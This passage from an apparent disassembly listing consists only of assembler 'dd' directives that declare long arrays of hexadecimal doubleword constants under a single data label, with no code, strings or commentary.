		dd 0D451B2B0h, 0B803437Ah, 27C342FEh, 0CC1BC044h, 0B440826Eh
		dd 6D4088DFh, 899F6F5Bh, 24427360h, 3D00A805h, 0BF6C90E0h
		dd 1C412ACh, 1FA3A6D3h,	0C44911F1h, 3CB163A2h, 8050A511h
		dd 0C4CB341h, 4D115B5Dh, 65E3F50Eh, 6728224Ah, 0AA24E873h
		dd 8AB502E2h, 4E38303Ch, 0B4388864h, 781A8022h,	0C61EF771h
		dd 14915Bh, 0A67515ECh,	0B2002FC2h, 22C5805Dh, 699F7F8Fh
		dd 0B02299A1h, 5D21492Eh, 5441A2C5h, 51154D23h,	9DC0847Ch
		dd 0C51A9322h, 0D67B4100h, 3B44E3B0h, 0F91C0181h, 9EFFBCFCh
		dd 45742454h, 28E43753h, 0C05C284Dh, 0C85C4C84h, 0A25E8078h
		dd 9ABFFD12h, 0C2AE4516h, 44707008h, 23D1407Ah,	1D137D46h
		dd 79AA2F8Dh, 0A2E89004h, 486092B6h, 0C800CCE6h, 0C1DC2E5Eh
		dd 0AB5D6251h, 0F5B7E0D0h, 15767849h, 90E726C3h, 8A5B3FC5h
		dd 0A1900240h, 40A2FD96h, 91F85D10h, 50D3169Ch,	0B6C71894h
		dd 468E03E1h, 904498E4h, 41EAE700h, 0FDEE798Dh,	13C63C77h
		dd 99469F06h, 0AE03B935h, 544FEBCCh, 0A37FD994h, 0E0F0A210h
		dd 0F42C1DF2h, 0E873D0CBh, 6C37678h, 6527F124h,	265DB090h
		dd 90BC8AF8h, 4B5780BBh
dword_55C548	dd 0B93AEFE8h, 8430489Fh, 0F58DC8Ah, 9CB4AFE0h,	592153C0h
		dd 1F577CA3h, 2D0318F0h, 54FCE11h, 0F9A65B24h, 11F6C19Eh
		dd 0DAFC400Ch, 8108E7B4h, 0A5A4F51h, 121C1F45h,	0C00C245Dh
		dd 29909FA9h, 5B2C0B00h, 9CDC5CACh, 57D219FCh, 33CFC0EDh
		dd 0F95D1598h, 5045CAC8h, 0CC067290h, 0D97139A6h, 818E8500h
		dd 0FC5B4146h, 2CA900C5h, 56C249FAh, 6838E831h,	0C75C9D20h
		dd 0F3635C6Eh, 4845A4EAh, 8A456A2h, 4947EE68h, 0E0F8AC48h
		dd 4C3AADB5h, 0BF0384Eh, 9EC60512h, 0BB51DE29h,	0C0AAE687h
		dd 0E3202F80h, 25CDACB5h, 488F9362h, 0C3A6FE9Eh, 164A06Ch
		dd 0C726AF25h, 0F3D78685h, 84C0C1F3h, 0C021991h, 0B30D6C9Eh
		dd 0F06449h, 0B4BE82C0h, 142F7F8Ah, 3DBDC313h, 0E43B0822h
		dd 0E76D01CCh, 3EF0F248h, 86998110h, 0C5C8C136h, 0A1247BD4h
		dd 4C2DF574h, 86FAEC0h,	3E4AC471h, 0D38569C0h, 0DE650A63h
		dd 384142h, 340F0907h, 0F801EC5Bh, 7940C3C7h, 12104C85h
		dd 8A3EBD10h, 25D0A019h, 38236CE8h, 49005A5Dh, 0BE9B2F91h
		dd 2C71E26Eh, 67F48CD1h, 2959D6BDh, 0BBA9AA01h,	0C8D1C9DEh
		dd 20535C52h, 81DD4DE2h, 13542100h, 0B4E92C28h,	8C5B3CA1h
		dd 18126DB8h, 0DC788868h, 5C31E245h, 4451385Dh,	18466B5Fh
		dd 5CCC5491h, 0F3B7249Fh, 3C6D00F1h, 0C8C32A53h, 0A88074B1h
		dd 1CF6C9A1h, 22E4014Ah, 8D6D6556h, 0BE81CC43h,	4611A26h
		dd 115EAAC0h, 0BCF51CA0h, 20A1E5CCh, 7ECB4AF3h,	3BE51A81h
		dd 3006E822h, 11819AE0h, 22982954h, 595D4544h, 486D886Dh
		dd 202650h, 54AFEF3Eh, 3229B8D7h, 0D4189246h, 0C447CC4Ch
		dd 0E088E826h, 0FB908C4Eh, 517ACE03h, 0FBD6CCC9h, 952FB805h
		dd 525D8030h, 0C56691C0h, 84FEB3h, 0A6B4B5F2h, 7C9868E3h
		dd 65F60D05h, 0C0766380h, 98AC88h, 56AED711h, 2417915Eh
		dd 6EA6DD00h, 86D197C3h, 62FE2EF9h, 0A5038C60h,	0C400E8E9h
		dd 0AD6E1404h, 0B80E1618h, 688D59B6h, 74C9007Ah, 0F3A2A0E6h
		dd 64B9CA50h, 0A6582020h, 0B0007A40h, 2FFA80D1h, 9C75FF93h
		dd 543F885Ch, 966C10A5h, 223D0E13h, 7438EB7h, 0ADD0ACB1h
		dd 0C3A7BA4h, 0B9A580E6h, 0B7ECB5A8h, 8EF4B8Dh,	28AE63ACh
		dd 8244584h, 895EB0C8h,	567C46Fh, 0F8A15A00h, 5B109612h
		dd 0E8474DBBh, 62204097h, 3696D335h, 0C96B5D1Ch, 1C421148h
		dd 0B1047BAAh, 0C804839Bh, 0FC1E6388h, 0E2802A99h, 1287E338h
		dd 2B350C73h, 0C0997EF7h, 884D7B00h, 0A308E4E2h, 123278C3h
		dd 4EBC5AACh, 7E2041A4h, 7C3BC5C1h, 9107D4FEh, 6F0373FAh
		dd 4E6C254h, 0F6430D00h, 0AFA128AEh, 518DD100h,	1183F2EFh
		dd 58D3096Ch, 40101915h, 0FE01E3AAh, 3DED0C1Eh,	5192A365h
		dd 0EE182832h, 775E9C07h, 6BE08AFDh, 0F0E27C1h,	4581DEC4h
		dd 3F097362h, 1840A224h, 690F3B8Eh, 5A002775h, 0BAF08F78h
		dd 0C936E147h, 20914B58h, 0C0C0127Eh, 0E0E369C4h, 0B9641348h
		dd 0BDFC451Ah, 0E3D8CC21h, 162E4686h, 0A0214ECCh, 0EFC470D6h
		dd 8DB810h, 25972E4Fh, 320C7CC5h, 0CB0194E4h, 0C2A8C919h
		dd 0CDD0F533h, 21E409EBh, 1C90D379h, 9B040886h,	0FE45BF7Fh
		dd 88BB80F4h, 36007091h, 0CD4D8C29h, 7151ADD0h,	50A505F1h
		dd 0D868A178h, 8AA0ABF0h, 0F413FD31h, 4049C937h, 0CA60C839h
		dd 5F3B0201h, 6F9976EDh, 0BF3281C0h, 7B352200h,	3A786111h
		dd 36C9150h, 97280FC0h,	44C425F2h, 382E909Eh, 0CCA50AEEh
		dd 1AAECC80h, 3FC840EFh, 8B3B42C4h, 60FF72A8h, 82CB8944h
		dd 6948BC8Ch, 0A25684E4h, 17EE2859h, 0F48FEAC5h, 0BDA88609h
		dd 8954E780h, 373BF924h, 0C86D8E8Dh, 0F88504D9h, 26E8CCCCh
		dd 1868BF7Eh, 23BDB9CBh, 2698989Ch, 8B73DD79h, 0BAD022h
		dd 0C6E0B72Ah, 0CDEDF475h, 320BA309h, 0AAB498CBh, 0C9E300E2h
		dd 0DC538F27h, 294C930Ah, 4498843Ch, 6EC75D42h,	0A111F465h
		dd 6BEC5100h, 287E149Fh, 0F019FB26h, 0B0A16F65h, 0BD006C37h
		dd 0A01F3116h, 0F3133066h, 0A8905833h, 345E40Ch, 1288ACA9h
		dd 70B8759Ch, 581322A4h, 0BC34C2ADh, 37120280h,	0AE790143h
		dd 5E5E7BBh, 0C7B85369h, 28F15107h, 1F4013D7h, 90D2AABh
		dd 68F8D25Ch, 0FCFC8C46h, 0F613CE01h, 470ED585h, 7C029055h
		dd 44C8825Ch, 68F9002Ch, 4CE7AD87h, 89AF7A2h, 0F6577044h
		dd 1DF93FCFh, 63423080h, 9593D59Ah, 0BFF56112h,	7C86C41h
		dd 0C78C3DFh, 0E49234CBh, 83009C71h, 0ED0EC981h, 0E463F98Ah
		dd 0A0304B27h, 8700E161h, 6FA59BE3h, 1CEE3Eh, 72B9A94Ch
		dd 0F6125DCDh, 82C17B60h, 149C3054h, 8039C98Dh,	805CF292h
		dd 5AA8F436h, 4FE0A8BAh, 1F0C0153h, 79E12667h, 6931D452h
		dd 36073CFEh, 0C1C94D65h, 0A8C0E0B0h, 0D19AF973h, 288479D3h
		dd 52CA425Fh, 417889C2h, 0A841B25Ch, 71809D5Bh,	4EC491E4h
		dd 262633AFh, 0A34430CEh, 12174Eh, 369178E6h, 509468ABh
		dd 0E9D38F60h, 0BE582450h, 6CB02554h, 0C997CAAh, 2F09DC81h
		dd 91BCB9EEh, 0C53EC11Eh, 0A7C32632h, 2FCC1D58h, 7A10C201h
		dd 0E210C308h, 520170D2h, 0F3AF4FF7h, 0B079CB3Dh, 4F9B680h
		dd 59F6BBD3h, 2E2CE482h, 219705Ch, 9846802Ch, 0DC7EABE1h
		dd 63B81E4Fh, 685E0EE0h, 0DB365C22h, 4BE8AAA8h,	0ABB82C32h
		dd 0EB101100h, 87FF02Ah, 96780064h, 0D1A99CEh, 9F055D04h
		dd 0B7AFDC33h, 0D804A024h, 0A8C931B2h, 663DC2D3h, 6A622D08h
		dd 0CC180C1Ah, 8701A65Ah, 6A9646A9h, 845CD3BDh,	52DC0118h
		dd 0DD717CBBh, 5CB08A45h, 0BD05206Dh, 34094686h, 53B062FAh
		dd 80418040h, 0C4A6F5DBh, 0C8C06096h, 0BC44C5A3h, 7764088h
		dd 6804CBB5h, 3ABDC35Bh, 0A872A0DDh, 325C9E00h,	7F27FAF4h
		dd 0FDFB4339h, 49B92616h, 0C08250D4h, 733B2257h, 0FEF64881h
		dd 2C5060AAh, 0DE89FA00h, 597CE25h, 416A3029h, 2EF8F041h
		dd 141C21E5h, 59780140h, 8981ADA0h, 514D2961h, 74CE8034h
		dd 9ADA52F3h, 7C38B341h, 42E9CC80h, 80090E5h, 77B5ACCDh
		dd 4BF0AB65h, 5D347272h, 9D00E052h, 176F55F2h, 0B9C215CBh
		dd 0A16D6228h, 0A31C2011h, 1166DE30h, 12721545h, 16B5F0A7h
		dd 137860ECh, 730393A4h, 479B197Eh, 0E67190E9h,	80B145C9h
		dd 0B092A699h, 1C0B90CDh, 6FACBEAEh, 17A30811h,	94E824F0h
		dd 6DE6139Fh, 2CC252Ah,	9F0AE81h, 0FCE35C61h, 7724F8F3h
		dd 0A65090CAh, 20584E24h, 916B8DBCh, 7D168E00h,	2D4AAC3h
		dd 53F0368h, 4FDC25A9h,	9E98D809h, 0ABB4E8A1h, 12547CD9h
		dd 0D253DEAAh, 60F7E698h, 0BE2CB42h, 1A9576B3h,	27BDFCC8h
		dd 5D06D899h, 9B98D7E6h, 0E9D502A4h, 0FCE080FEh, 0A212FD01h
		dd 0F06262C8h, 1CD95Dh,	2D59B4CCh, 549CC71Ch, 0AF1144E0h
		dd 50E400B8h, 3EA5DAF0h, 0DB024525h, 0E92168EDh, 0A2FC7B86h
		dd 0C2E144E8h, 1829AA12h, 0F11CEC33h, 0F6D11641h, 0BECB7BE0h
		dd 823D90C8h, 63CAC8AAh, 0A252B1A0h, 0C3A39989h, 9D407051h
		dd 11270D0h, 1C33413Ah,	0E41E08C9h, 0D50D2A18h,	0E907E5E8h
		dd 89E22C43h, 0C831225Bh, 0FC941C2Dh, 3A234981h, 56C61071h
		dd 0D5670775h, 0C08AD9BCh, 0A8B8B733h, 42FD1000h, 0A1955B0Ch
		dd 0AA48C05Eh, 0DBA28513h, 460B6893h, 0E36491A3h, 7474384Dh
		dd 0D20703FAh, 78D41BA2h, 5F612FA0h, 0A7BD8F1Dh, 47505407h
		dd 4BFA6520h, 18807428h, 107BF4E2h, 45017C6Fh, 8D29E930h
		dd 0F0F3FC2Ah, 60DB7143h
		dd 31DD383Fh, 0AF75B9DEh, 0D90DCA00h, 0D4F6440Eh, 1B4B00F9h
		dd 504F618Fh, 9C1BFA7Dh, 0C1588678h, 8BEDD6Eh, 91A86B00h
		dd 0ABA5C020h, 1B0CE178h, 60211E51h, 0C67A1490h, 8721204Fh
		dd 4700EC11h, 207BC468h, 750074FBh, 0F877C8FFh,	18392351h
		dd 284A9CADh, 836030DFh, 53F04B48h, 0C241C0EAh,	0F73184C4h
		dd 44298A00h, 5451F2CFh, 3A020699h, 0A615057h, 0EF16A914h
		dd 5FE2188Ch, 395AA749h, 0D000C718h, 0B78865D2h, 0A201F881h
		dd 0F47D9503h, 6980E711h, 0EBE5615Ah, 7F282822h, 0B88290D5h
		dd 0DF82813h, 0F10071B1h, 618A9BE6h, 0CAD5D16h,	28E2DD36h
		dd 0B262C548h, 10862FD1h, 4915878Eh, 90900Bh, 2D8FAA53h
		dd 220ADDh, 0E478E8A6h,	868352F5h, 0E1D09455h, 0A115EF0Eh
		dd 1B47CC1h, 1A25346Fh,	0BC5162FEh, 90107802h, 0E1834D60h
		dd 8841A3ABh, 3C40CE9Ch, 1DCA57DDh, 7D12A0Ah, 50666FB1h
		dd 4B70D65Fh, 0F0003491h, 78EF2FD5h, 0B062308Fh, 48795D51h
		dd 5EFC5954h, 0AAB8144h, 2962B640h, 48F947C0h, 3131C00h
		dd 1E815B16h, 8307312Eh, 0AA22FC42h, 1AF0E000h,	0EA01C40Fh
		dd 0AC8344C0h, 8CEE303Fh, 7168A17Eh, 84E0546Eh,	0C3DA00E3h
		dd 617F08F5h, 0A905F322h, 2CD4E29h, 84CBBC44h, 0E50CF542h
		dd 1099A091h, 7D9AA8CAh, 8DE10035h, 5EDCF9ABh, 0DE0CB091h
		dd 2860347Ah, 784A64C5h, 0FB8A43EBh, 36FB8BAh, 567F005Ch
		dd 5F210F11h, 0F508F3D2h, 1832F1B9h, 830289AEh,	1BE9F088h
		dd 117BE2A4h, 4537BAB0h, 700EDC01h, 0FBECE035h,	900CC4F4h
		dd 8771D5Bh, 66E0AAB9h,	59729097h, 0B2285A12h, 6CF01042h
		dd 0DC0720EAh, 0E00D7D0h, 0C679FC21h, 0EA2BA4CCh, 0EC9C2847h
		dd 171F02FCh, 0DF5AA6Ch, 0DF147C44h, 40544E01h,	792A8E2Ch
		dd 5D06987Eh, 3C1C5603h, 2A70A491h, 19F4F135h, 51F9F8F5h
		dd 0F5442571h, 9997124Ah, 30A97EA8h, 0BD218184h, 0EC359D08h
		dd 70007B73h, 0E041D2A4h, 9298B3A7h, 7C6C2260h,	81639013h
		dd 2A803832h, 790B8C44h, 7A018C11h, 26C5CBA1h, 1447759Ch
		dd 28925B84h, 102D2778h, 40EFF0CAh, 11F788A4h, 2023F6F5h
		dd 0CAE89A22h, 300C0E2h, 935FB92Ah, 3C968653h, 8EB2B775h
		dd 0F4207761h, 18BE5145h, 0D1A287D9h, 3A8476CFh, 84149F6h
		dd 60781CACh, 89E10C88h, 8103FBC1h, 0E8F71C46h,	0F9317403h
		dd 6DE07F10h, 0D020E351h, 2C128697h, 90016B0h, 46E7D96Ch
		dd 35BFCD6h, 71DEFDBFh,	310052E3h, 0B369EC47h, 72CB81Fh
		dd 89AD83F0h, 381E51D1h, 31B9DD98h, 10F40D5Dh, 5FDCE074h
		dd 7AE5A606h, 0E2C16A65h, 0F25A88E2h, 0DD01A8F2h, 0D3F48AACh
		dd 3822CFFBh, 0CA585701h, 9E414816h, 6F005A61h,	0F8420777h
		dd 7C6302DBh, 0FDE6D4A2h, 0D1247884h, 7BF3D0h, 0E4871Bh
		dd 0E308D088h, 0C13C977Eh, 4A0D749h, 5A1833ABh,	9C6460D1h
		dd 87EDE211h, 8F7C4541h, 0E3A88310h, 0C70279F4h, 0D0261F88h
		dd 0EB23A531h, 0ED7D330Ah, 0DE91F458h, 0E9E20800h, 32D1D8DBh
		dd 217EF06h, 2AE0DDA5h,	1FF8770Bh, 845F60BCh, 0F4C8369h
		dd 0CC919B6Eh, 8B7A6C8Ch, 0F168186Dh, 0B30E020h, 5275CF8Eh
		dd 23D54F05h, 41BEC1A0h, 0CEAFB201h, 0C785476Ah, 0C601E1D4h
		dd 498E0B29h, 0DB304201h, 205A3B3Dh, 0C30A9CF8h, 4EF79090h
		dd 24E27124h, 63EFFE40h, 782200C2h, 9C03D4C0h, 93018A7Ah
		dd 0FB448F07h, 0AC5138ADh, 9C108463h, 70D474CDh, 826BC8FCh
		dd 8AD7025Bh, 918DC880h, 0A448CB81h, 0EF34C2E0h, 90928942h
		dd 71A23048h, 0B5C022DFh, 1D673A07h, 99803558h,	89A2EBh
		dd 91C32C5Ch, 0A3AA72EAh, 0FCF88E26h, 20014ABh,	0D6C27CF6h
		dd 0B84E0233h, 0DB78ED0Eh, 308CDF04h, 699C801Bh, 0CE40774Ch
		dd 0F431934Ah, 318081C1h, 5D5A5B32h, 4B13B0E8h,	0A4042FEFh
		dd 0E34B9B63h, 0C7B38C10h, 3B9A6C1Dh, 14685900h, 33283B8h
		dd 9C52BF65h, 71058473h, 0CDB636D7h, 78E055h, 623D8AABh
		dd 0C09117C2h, 5D6EFC29h, 958B9C8h, 14240091h, 5898A87Ch
		dd 9783128Ch, 0AEAC2151h, 289040F0h, 6492D521h,	0D4AA6A78h
		dd 93D07C10h, 60C1DD88h, 826C982h, 0E90087A6h, 8618EC53h
		dd 0D13D89h, 0E6DBA213h, 833CB48Ch, 91050F16h, 830E017h
		dd 0DD5561h, 9619BA66h,	0DFD27E72h, 0D2C9C01h, 4F265281h
		dd 85E1C11h, 0ACC80BF4h, 0B5892762h, 57F55890h,	897E8416h
		dd 80885C65h, 90460928h, 0BC907A87h, 0DD889575h, 70B1C0h
		dd 38D15E42h, 43F6F08Ch, 3A0B6B0Fh, 0A3A8C1C9h,	1BF46DE4h
		dd 6A9C195Ah, 58D64180h, 1E0FE8C8h, 84543AF2h, 0C8CDCAE6h
		dd 70B32092h, 20753614h, 3401720Fh, 0CC27AA2Ch,	12FB34A8h
		dd 919C807Eh, 1FF8BBE7h, 4E57D490h, 0A98FE90Fh,	83EC586h
		dd 0B91D8FF8h, 84439355h, 3CB718h, 928D3418h, 972608Eh
		dd 8070CB39h, 442BE358h, 0C1D33529h, 0D2503648h, 7A3C01A8h
		dd 836108B7h, 7900E01Eh, 100196A6h, 37594489h, 6360A4AAh
		dd 313C8F62h, 0D7D600FEh, 0B3256F6Ah, 18BF63E4h, 1EE02D31h
		dd 3D1E4E97h, 30207E52h, 0A569CE4Ch, 8CB82F6Eh,	703D3831h
		dd 79878E3Ch, 46D765A9h, 0CF60900Ch, 85B534A8h,	0B72C0F56h
		dd 49784C04h, 4D3C516Eh, 8E848986h, 0EA430064h,	7CB41BE3h
		dd 0AA6A18E9h, 0EF28E907h, 0E6A1D261h, 0F98DA4BEh, 0FC79BC41h
		dd 9501AF6Bh, 75ABEB6Ah, 3FC77C0h, 844A0134h, 0F73ED07h
		dd 442CE48Ah, 0C0587A50h, 5243FA80h, 3B22D4DCh,	4FE29326h
		dd 2980C01Eh, 0A0D2F060h, 0DC1E309Ah, 3864F141h, 0B7378100h
		dd 0BD63A4D6h, 169F826h, 426723D7h, 997C02A9h, 5C60C1B0h
		dd 2E40708Ah, 88A80E8h,	914C487Bh, 6118490Ah, 0F5844C58h
		dd 0C840C24Bh, 6112C98Fh, 0E3EF8302h, 0A58E8C04h, 68308690h
		dd 9128009h, 2BF6EA3Fh,	0D26E1C11h, 23BD7422h, 6100E64Ch
		dd 0F2017D11h, 1173B7Eh, 1F93C320h, 8C5136D0h, 410FCB39h
		dd 0FCA04561h, 21C64842h, 89DA1Eh, 46AE5B8Dh, 44330794h
		dd 18C35F28h, 11744D21h, 19E007DDh, 0D8043BAh, 4788Eh
		dd 0ABB626BEh, 8A1B8324h, 0B703B903h, 22CB25F9h, 0E43791F0h
		dd 0B183C1AAh, 0C900D727h, 1C332BAFh, 0CCE4BCE5h, 0C31A7D8h
		dd 0BB50B800h, 1ECEC993h, 1681C0DEh, 5D8DC8CCh,	46601000h
		dd 0D6652703h, 0F3E90921h, 34103FD5h, 90F715Ah,	615B2548h
		dd 0AD7737BBh, 0FD9ECh,	9C2640B2h, 4DB801FEh, 0BE56FC02h
		dd 46603CCEh, 214C43E0h, 4DAC0029h, 0CEC87634h,	6901A893h
		dd 0A8CB1FC0h, 9640108Ch, 0AF1D8319h, 8C004CFEh, 2C320D8Fh
		dd 0BC3E0047h, 585C2BD8h, 7F7E1FD6h, 809339C8h,	5C59C017h
		dd 25004F2Ah, 0D1D7CB66h, 5086863h, 0C51B9829h,	0EEA84047h
		dd 0B7FC3C5Eh, 1431C400h, 0E54478D7h, 1F47FCEh,	742794F3h
		dd 40DB6E43h, 23413158h, 0DD4C6A15h, 66011FCCh,	74CE3800h
		dd 0B8300277h, 9EF60085h, 534B4916h, 0E4000A08h, 0F1A2238h
		dd 5DE46ACh, 933F1D2Ah,	4D9C2139h, 0B7998056h, 8F38D907h
		dd 0C445187Ch, 0A364193Dh, 35F13000h, 0FD56E5E6h, 83AC1EB1h
		dd 7058DEE3h, 0F0542691h, 0D540920Fh, 0DB48034h, 63C580AAh
		dd 3AC4786Dh, 0BC6A5100h, 6F2EAEDDh, 0AFE6E3h, 45C5244h
		dd 4B1AAC74h, 0C83420FDh, 0D5E3F505h, 7C400907h, 75BE74B6h
		dd 9D5B00BDh, 0ED5C559Bh, 0EA3C1D89h, 905E8084h, 76F7744Fh
		dd 63E30049h, 0EB988353h
		dd 650210D5h, 0D90FD345h, 7C8A9D2h, 6410E5D8h, 48E49518h
		dd 0BD8024C3h, 0D36A7E2Dh, 0E7D0C006h, 540A958h, 0A7661157h
		dd 3AD0201Eh, 75082506h, 81E74BBFh, 88B9998h, 0C1C6D85Eh
		dd 2748D00h, 0E92EFDBFh, 21112C05h, 0AC89402Ch,	190F74A0h
		dd 0E0246332h, 0FB53E751h, 0ACFA80C3h, 0D559CC61h, 10222ABEh
		dd 0C9C43018h, 9700F6D4h, 98E8FE7Dh, 0C843EAh, 2F33925Eh
		dd 0E5AFC0B1h, 64302704h, 0C09155D6h, 1C625908h, 0C0CE871Ch
		dd 0EC2E7D3h, 6C0095BBh, 0AFFCB061h, 292C6885h,	6844FCEh
		dd 79404B36h, 82BC4A1h,	1987F168h, 33310CC0h, 0E916F61Eh
		dd 6EF0C68Ah, 153600A8h, 0BC5C5A4Ch, 8E077010h,	2BDED0E6h
		dd 0D464E970h, 317E0028h, 0A07B61Dh, 65E8F283h,	0BE0C25F0h
		dd 6941C42Ch, 0B9BB0034h, 0DAB4AF53h, 0D0294CC9h, 0C50AF0D8h
		dd 0EE80E8D4h, 0C3357119h, 19AD7B08h, 0B82DA49Fh, 0C158E3FAh
		dd 0DED81034h, 42D7B484h, 80405622h, 15609474h,	48590CCh
		dd 0D723C739h, 83488C9h, 39C04C74h, 0DA86C2F1h,	1DCE76CDh
		dd 83F251D0h, 0BCC9B532h, 0B0A47F98h, 0B6BF4D01h, 6F3F3572h
		dd 0EC8EE432h, 628E00D3h, 44EFC2B7h, 61289200h,	0AACD9753h
		dd 90147D83h, 5507200Ch, 802C4B5Ch, 6C3E2872h, 70755856h
		dd 0DCD6E50Ah, 17CD9170h, 2408B634h, 0D23D80E8h, 0CF1652F5h
		dd 9AB2850Eh, 8ACDE0D3h, 125DEA3Ch, 325BC82Ch, 0F4981D44h
		dd 44EACA42h, 1A19B200h, 0BD707274h, 2422002Ch,	3A6401A3h
		dd 70BB435h, 1854E752h,	0B9333124h, 0D69E80B8h,	3DDCE7C8h
		dd 7C53700h, 0F68F68EEh, 0D1E1C5A1h, 4E1CCCD2h,	2A032DB8h
		dd 8A28AA7Fh, 0D1E7A041h, 27F900F1h, 0F4A4177Eh, 46132182h
		dd 4C095F74h, 0D51413D3h, 0C1B5BC40h, 524F20h, 0CCB17AEEh
		dd 34B74C2Ah, 26C96605h, 3884074Bh, 0FCE90C8h, 0E4E6304Dh
		dd 1E32861Ch, 177491F7h, 184F5807h, 0BCD03928h,	2E5075h
		dd 5F6EE7F7h, 7A95B7A3h, 0D55065F7h, 663112BDh,	9E550098h
		dd 1DF9A598h, 290E6027h, 223226D8h, 69161208h, 0E710AB10h
		dd 0F0A646BDh, 0B9C5DF44h, 0D9380028h, 0B563DE76h, 516E3Bh
		dd 3ACBC281h, 1D03C21h,	6A897477h, 308EF44Dh, 51C2E344h
		dd 20D32D40h, 9A5A7F08h, 0F9C98206h, 19D1ADh, 0BA968C34h
		dd 0EA8DB6B9h, 0F9D3E205h, 10052CACh, 74C83F22h, 6BF6B4h
		dd 887AAECAh, 0BC0CF9B9h, 83CD3Fh, 69E3BF3Fh, 2E35DD95h
		dd 50884166h, 0F000B9FBh, 0C4426F7Eh, 3266A9A5h, 0CD70B7D6h
		dd 40AF1E22h, 9A470D1Ch, 1810F804h, 30CCA74Ch, 59C043C4h
		dd 87B88E0Ch, 0BA0A3F9Fh, 66D54880h, 9C193231h,	0F7F84AB0h
		dd 0A1FC431Ch, 89B8DB54h, 0F56010C1h, 597B694Bh, 383FA882h
		dd 0F4EA98A1h, 2FA4DCBFh, 3063C502h, 0C628442Ch, 594121C4h
		dd 10C55289h, 0B17000h,	45DDD883h, 448E61AEh, 892B9800h
		dd 1C4C316Bh, 82E31230h, 694C0B96h, 85B76010h, 80A0897Fh
		dd 0CE04B3BAh, 0D6E63108h, 147DF4A4h, 8C1F2C06h, 0C5446F80h
		dd 98B93261h, 312EBC11h, 2F406E08h, 8772F552h, 6BE56300h
		dd 8FACEBE0h, 0BFE402A7h, 54E91AC0h, 10E54469h,	3F8E2Ch
		dd 849A2129h, 8694EC8Dh, 0F8CC6C24h, 41AAA160h,	0AB4D03AFh
		dd 2B5FA7C7h, 0F8D22E0h, 0E0FB3F7Bh, 5C5C3CE7h,	0A0604AFCh
		dd 2D27110h, 5486F582h,	1844C3E3h, 8C0EFFFEh, 67C915BBh
		dd 69B0DFEAh, 0B93FCFA4h, 6726E0h, 0B1C93E72h, 79004948h
		dd 6DF942Fh, 0F0B66AA5h, 5BD358AAh, 40983F2Eh, 0AF6508CFh
		dd 0A4C29494h, 3C840FC4h, 320B25Bh, 964CB537h, 6285A13Bh
		dd 991AA030h, 4D3508D8h, 0B2628A4h, 0E6F13C18h,	49176253h
		dd 7882B9FAh, 9C66D9E7h, 0CF19BA09h, 0B7BB00F4h, 0EA328424h
		dd 0C01152F9h, 400CC524h, 0BC861E6Eh, 1AFA630Bh, 3A6C0427h
		dd 7C8A9840h, 4B00C7EEh, 0A7C80F0Ah, 2789EA5Eh,	0C0211E46h
		dd 0C80223B6h, 0E624730Eh, 0EB004058h, 0D5785B4Bh, 56EF8A6h
		dd 0FF9D7CDh, 0E7984512h, 925840BCh, 0C8283CB5h, 986690AAh
		dd 0FA417B00h, 0AE246FBAh, 0E56600D1h, 0AB4ED094h, 0D418D802h
		dd 15D09AB8h, 0B48682A9h, 5B0049A1h, 130D48E4h,	3CBCF12h
		dd 146F4DB9h, 60AFF36Dh, 962F57Dh, 1AB11116h, 0B08DE833h
		dd 48228763h, 0EB3FA426h, 9A31B9BAh, 8A160A8h, 0D6FA88C2h
		dd 0A6303E00h, 3426EB09h, 0D20206B0h, 0E9AC54E5h, 0D61C4050h
		dd 0DC975D00h, 98CB2072h, 0B22D00E4h, 0EEC2D8CEh, 0BA0E7B63h
		dd 0A130CDC6h, 0D21EA9FBh, 21EA2021h, 207D9211h, 0F32C50E4h
		dd 1E0C8047h, 0AD6905h,	6CAF6BBh, 62AB3FFEh, 0D2EB407Fh
		dd 42022079h, 0EAC6DBBAh, 0B6B46050h, 2C640762h, 49C03ED7h
		dd 0A00DC64h, 2501CC98h, 328F7FBh, 2F03A9BDh, 40C50EFAh
		dd 0F010B080h, 454A4E35h, 325F0444h, 68465022h,	0E6EB8D12h
		dd 0D9B5B804h, 0F2C090C0h, 44D498FCh, 80FFC52Ah, 4E33D31h
		dd 1853270h, 5F225363h,	2C71D124h, 74144024h, 7D677300h
		dd 0BA8B5EAFh, 639D001Eh, 3608CCD6h, 0C0A60196h, 0E3722C00h
		dd 0EED775E7h, 0B4AC03DAh, 0ADF1D909h, 0B85456E0h, 0E008402Ch
		dd 4C16A028h, 34211F89h, 0EC8AB31h, 0B9ECF5E3h,	2C5C3862h
		dd 0F1384018h, 0A1CFB22h, 0C8C9EA0Ch, 0BAB48565h, 85ACC48Ch
		dd 0D8413280h, 0C2F628h, 0ED8E2AA0h, 6252F74Fh,	98609102h
		dd 6EAC230Fh, 80EEE830h, 8AF0B533h, 249AC318h, 90BB638h
		dd 26B195BAh, 0B222E087h, 209CD90h, 0C44017CAh,	0EAE80038h
		dd 8A45D575h, 0BD04B851h, 0ADFA0D2Fh, 24E708B4h, 8030AA55h
		dd 0E0D9E409h, 4D34BA0Fh, 0B4C761AEh, 2E40D024h, 0D18087D6h
		dd 29B2F1E7h, 0B923099Ch, 0E6E0985Fh, 13249952h, 0B8E42040h
		dd 7D00FAD5h, 19182FF7h, 5299F6Eh, 217C55A6h, 2D748007h
		dd 0E104E45Eh, 2B82B774h, 0EEBC20A0h, 29A8B071h, 0F83CAEh
		dd 10016B19h, 93006D62h, 0B0CEB411h, 1C5D0CBEh,	0C1AAE9CAh
		dd 10E4049Fh, 6536D0B9h, 8C30495Ch, 71F912h, 2A0D9F9Dh
		dd 0BFCD99F0h, 85658004h, 90F7FCEAh, 0E1F19018h, 4484DD53h
		dd 0B80E373Ah, 0C00AC77Eh, 64938CEDh, 0CBD913FFh, 0C4C0C27Dh
		dd 10913461h, 24528CE4h, 2D8A087h, 3A53366Ah, 8A8048DBh
		dd 4DE8CBB8h, 0A60A005Eh, 74499CBCh, 0D609681Dh, 2FCA3FE2h
		dd 0B26420F8h, 279B174Ch, 0B41093B6h, 896C1E6h,	4167AB44h
		dd 39D8E661h, 24092674h, 5C07CE01h, 0E448211Dh,	20290086h
		dd 0ADF6A0E5h, 50009144h, 85D18798h, 0B8B995A9h, 0CE564470h
		dd 5490C009h, 10A8C857h, 407D4A66h, 4F4CB784h, 0E14F6338h
		dd 8F50004h, 49C07890h,	44BB0117h, 308D15B6h, 0BA6C7011h
		dd 9A0F91F0h, 26C0375h,	0E2D7D2D9h, 9E305174h, 13ACA610h
		dd 0D68C308Dh, 0EA2072E9h, 0E82307F3h, 57386BDAh, 0BE6AD0B5h
		dd 662907ACh, 0EE80BCA7h, 0E98228BDh, 77EA13FDh, 0FA50C808h
